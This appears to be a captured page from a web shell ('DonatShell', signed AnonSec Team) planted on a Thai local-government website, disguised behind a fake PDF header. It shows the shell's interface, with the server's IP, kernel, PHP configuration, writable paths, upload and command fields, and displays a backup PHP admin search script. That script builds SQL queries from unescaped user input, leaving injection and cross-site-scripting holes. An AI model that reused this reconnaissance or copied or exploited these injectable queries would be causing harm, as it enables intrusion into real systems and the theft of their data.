%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/toongkwaik/domains/toongkwaikin.go.th/public_html/itas/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/toongkwaik/domains/toongkwaikin.go.th/public_html//itas/detail_search.php.bak
<?php
session_start();
if($_SESSION[user]==""){
session_destroy();
$message = "¡ÃØ³Ò Login ¡è͹.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
 }
require_once('../admin/Connections/conndb.php');
	mysql_select_db($database_conndb, $conndb);

	if($s_name!="" && $s_cat==""){
		$query_rsNews = "SELECT * FROM ita_detail  WHERE name LIKE '%$s_name%' ORDER BY id DESC, created";
	}
	else if($s_name!="" && $s_cat!=""){
		$query_rsNews = "SELECT * FROM ita_detail  WHERE name LIKE '%$s_name%' AND cat_id LIKE '$s_cat' ORDER BY id DESC, created";
	}
	else if($s_name=="" && $s_cat!=""){
		$query_rsNews = "SELECT * FROM ita_detail  WHERE cat_id LIKE '$s_cat' ORDER BY id DESC, created";
	}
	else{
		?>
					<SCRIPT LANGUAGE="JavaScript">
							alert("¡ÃسÒãÊè¢éÍÁÙÅ·Õèµéͧ¡Òäé¹ËÒ");
							 history.back(); 
					</script>
		<?
	}
	
	$rsNews = mysql_query($query_rsNews, $conndb) or die(mysql_error());
	$row_rsNews = mysql_fetch_assoc($rsNews);
	$totalRows_rsNews = mysql_num_rows($rsNews);

	$query_rsCat = "SELECT * FROM ita_category ORDER BY cat_id";
	$rsCat = mysql_query($query_rsCat, $conndb) or die(mysql_error());
	$row_rsCat = mysql_fetch_assoc($rsCat);
	$totalRows_rsCat = mysql_num_rows($rsCat);	
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->                             
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<script>
function confirmDelete(delUrl) {
  if (confirm("Â×¹Âѹ¡ÒÃź¢éÍÁÙÅ")) {
    document.location = delUrl;
  }
}
</script>
<!-- InstanceEndEditable --> 
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅ¹ÒÊÑ¡ µÓºÅ¹ÒÊÑ¡ ÍÓàÀÍÊÇÕ ¨Ñ§ËÇÑ´ªØÁ¾Ã 86130 : www.nasak.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--



function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script type="text/javascript" language="JavaScript1.2" src="../Templates/stm31.js"></script>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #AA08BD;	
}
.style2 {color: #CC6633}
-->
</style></head>
            
<body background="../images/tem_b1.jpg" style="background-repeat:no-repeat; background-position:top">
<div align="center" >
  <table width="980" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td valign="top"><div align="center">                        
        <table width="980" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td valign="top"><div align="center">
              <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="980" height="650">
                <param name="movie" value="../images/head.swf">
                <param name="quality" value="high">
                <embed src="../images/head.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="980" height="650"></embed>
              </object>
            </div></td>
          </tr>
        </table>
      </div></td>
    </tr>

    <tr>
      <td>
    <tr>
          <td valign="top"><div align="center">
            <table width="980" border="0" cellpadding="0" cellspacing="0">
              
              <tr>
                <td height="150" valign="top">&nbsp;</td>
              </tr>
              <tr>
                <td height="2300" valign="top"><div align="center"><!-- InstanceBeginEditable name="EditRegion3" -->
        <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="0">
          <tr>
            <td height="21" class="under"><div align="center"><a href="../news_news.php?cat_id=<? echo "$detail_id";?>" class="title2" >
                <?php 
					
					mysql_query("update news_news  set click=click+1 where id =$id");

					if ($cat_id!=""){
							$query_CatS = "SELECT * FROM ita_category where cat_id =$cat_id";
							$CatS = mysql_query($query_CatS, $conndb) or die(mysql_error());
							$row_CatS = mysql_fetch_assoc($CatS);
							echo $row_CatS['detail_name']; 
					}else{
							echo "¢éÍÁÙÅ¢èÒÇÊÒà àªÒÇì àµçÁÃÑ¡Éì";
					}
				?>
            </a></div></td>
            </tr>
          <tr>
            <td class="head">&nbsp;</td>
          </tr>
          <tr>
            <td class="styles1"><div align="right"></div></td>
            </tr>
          <tr>
            <td class="styles1">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="3" align="left" valign="top"><div align="left">
              <table width="99%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="60%" class="styles3"><div align="left">¼Å¡ÒÃ¤é¹ <span class="title">
                      <? 			
				  if($s_cat!=""){
						echo $row_CatS['detail_name'];
				  }else{
						echo "äÁèä´éàÅ×Í¡ËÁÇ´";
				  }
				  ?>  
                      - <? echo $s_name;?></span> 
à¨Í·Ñé§ËÁ´<span class="title"> <?php echo $totalRows_rsNews; ?></span> ÃÒ¡Òà </div></td>
                  <td width="40%" valign="top"><div align="right">
                    <table width="99%" border="0" cellspacing="1" cellpadding="1">
                      <form action="admin_search.php" method="post" enctype="multipart/form-data" name="webForm" id="webForm">
                        <tr>
                          <td width="50%"><div align="right">
                              <select name="s_cat" id="s_cat" style="width: 160px;">
                                <option value="" class="styles1"> -- àÅ×Í¡ËÁÇ´ËÁÙè-- </option>
                                <?php do { ?>
                                <option value="<? echo $row_rsCat['detail_id']; ?>" class="styles1" <? if($cat_id==$row_rsCat['detail_id']) echo "selected"?>>&nbsp;&nbsp;- <? echo $row_rsCat['detail_name']; ?></option>
                                <?php } while ($row_rsCat = mysql_fetch_assoc($rsCat)); ?>
                              </select>
                          </div></td>
                          <td width="40%"><div align="right">
                              <input name="s_name" type="text" class="styles4" id="s_name"  style="width: 160px;" maxlength="100" />
                          </div></td>
                          <td width="10%"><div align="left">
                              <input name="okbutton" type="image"  title="¤é¹ËÒ"  value="¤é¹ËÒ " src="images/btn.gif" />
                          </div></td>
                        </tr>
                      </form>
                    </table>
                  </div></td>
                </tr>
              </table>
            </div></td>
          </tr>
		  <tr>
            <td class="styles1">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="3" align="left" valign="top"><div align="center">
              <table width="98%" border="0" cellpadding="2" cellspacing="0">
                <?php
				  		$pagesize=20;
								$totalpage=(int)($totalRows_rsNews/$pagesize);
							   
							   if(($totalRows_rsNews% $pagesize )!= 0){
							   			$totalpage += 1;
							   }
							   if(isset($pageid)){
							   			$start=$pagesize * ($pageid - 1);
							   }
							   else{
							   			$pageid = 1;
										$start = 0 ;
							   }
							   
							   if($totalRows_rsNews!="0"){
							   		mysql_select_db($database_conndb, $conndb);
									
									//echo $query_rsNews;
									$sql=$query_rsNews."  Limit $start ,$pagesize ";
									$res = mysql_query($sql, $conndb) or die(mysql_error());
									
									if($pageid==1){
										$jk=1;
									}
									else{
										$a=$pageid * $pagesize;
										$jk=$a-$pagesize;
									}
									//echo " jk = ".$jk;
									while($c=mysql_fetch_object($res)){
				  ?>
                <tr>
                  <td width="5%" valign="top" class="styles2"><div align="center">
                      <? 
								if($pageid==1){
									echo $jk;
								}
								else{
									$ak=$jk+1;
									echo $ak;
								}
							?>
                  </div></td>
                  <td width="85%" valign="top" class="styles1"><div align="left"><a href="detail.php?id=<? echo "$c->id";?>" class="styles2"><?php echo $c->name; ?></a>
                          <?php if ($c->filename <> "") {?>
                          <a href="doc_download/<?php echo $c->filename; ?>" target="_blank"><img src="images/download.gif" alt="´ÒǹìâËÅ´àÍ¡ÊÒÃ" width="20" height="22" border="0" align="absmiddle" /></a>
                    <?php } ?>
                    <span class="detail-s"> [ÍèÒ¹ <?php echo $c->click; ?> ¤¹]</span> àÁ×èÍ
                    <? $d=explode("-",$c->d_date);
							$dd=$d[2];
							$mm=$d[1];
							switch($mm)
								{
										case "1":
										$printmonth = "Á.¤.";
										break;
										case "2":
										$printmonth = "¡.¾.";
										break;
										case "3":
										$printmonth = "ÁÕ.¤.";
										break;
										case "4":
										$printmonth = "àÁ.Â.";
										break;
										case "5":
										$printmonth = "¾.¤.";
										break;
										case "6":
										$printmonth = "ÁÔ.Â.";
										break;
										case "7":
										$printmonth = "¡.¤.";
										break;
										case "8":
										$printmonth = "Ê.¤.";
										break;
										case "9":
										$printmonth = "¡.Â.";
										break;
										case "10":
										$printmonth = "µ.¤.";
										break;
										case "11":
										$printmonth = "¾.Â.";
										break;
										case "12":
										$printmonth = "¸.¤.";
										break;
										}
							$yyyy=$d[0];
							$yy=$yyyy+543;
					 echo $dd." ".$printmonth." ".$yy;	 ?>
                  </div></td>
                  <td width="5%" align="center"><div align="center"><a href="edit_detail.php?id=<?php echo $c->id ; ?>"><img src="images/edit.gif" alt="á¡éä¢" width="13" height="13" border="0"></a></div></td>
                  <td width="5%" align="center"><div align="center"><a href="javascript:confirmDelete('delete_detail.php?cat_id=<?php echo $c->cat_id ; ?>&id=<?php echo $c->id ; ?>')"><img src="images/delete.gif" alt="źËÑÇ¢éÍ" width="18" height="18" border="0"></a><a href="javascript:confirmDelete('delete.php?news_id=<?php echo $c->customerid ; ?>')"></a></div></td>
                </tr>
                <?php $jk++;		}
					  
					  }
					else  { // Show if recordset empty 
					?>
                <tr>
                  <td height="100" colspan="4" class="title"><div align="center">ÂѧäÁèÁÕ¢éÍÁÙÅ</div></td>
                </tr>
                <?php } // Show if recordset empty ?>
              </table>
            </div></td>
          </tr>
          <tr>
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr>
            <td class="styles1"  colspan="3"><div align="left">¡ÓÅѧáÊ´§Ë¹éÒ :
              <?            
							   
							   
							   for($i=1;$i<=$totalpage;$i++){
							   				if($i==$pageid){
													echo $i."&nbsp;";
											}
											else{
													echo "|<a href='admin_search.php?pageid=$i&s_name=".$s_name."&s_cat=".$s_cat."' class='styles2'>$i</a>|&nbsp;";
											}
							   }
							   
							   
					  ?>
            </div></td>
          </tr>
          <tr>
            <td colspan="3">&nbsp;</td>
          </tr>
        </table>
      <!-- InstanceEndEditable --></div></td>
              </tr>
            </table>
          </div></td>
    </tr>
        <tr>
      <td height="200" valign="top"><table width="980" border="0" cellspacing="0" cellpadding="0">
              
              <tr>
                <td height="100" valign="top" background="../images/foot.jpg"><div align="center" class="footer">
                  <p><img src="../images/foot.png" width="772" height="189" border="0" usemap="#Map4">
                    <map name="Map3">
                      <area shape="rect" coords="561,157,826,175" href="http://main.pasworld.co.th/" target="_blank">
                    </map>
                  </p>
                  </div></td>
              </tr>                
  
          </table></td>
    </tr>
  </table>
      </div>


<map name="Map"><area shape="rect" coords="464,116,966,154" href="http://main.pasworld.co.th/" target="_blank">
</map>
<map name="Map2"><area shape="rect" coords="613,181,964,215" href="http://main.pasworld.co.th/" target="_blank">
</map>
<map name="Map4"><area shape="rect" coords="456,140,740,158" href="http://main.pasworld.co.th/" target="_blank">
</map></body>
<!-- InstanceEnd --></html>
<?php
mysql_free_result($rsNews);

	 if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
?>

Anon7 - 2022
AnonSec Team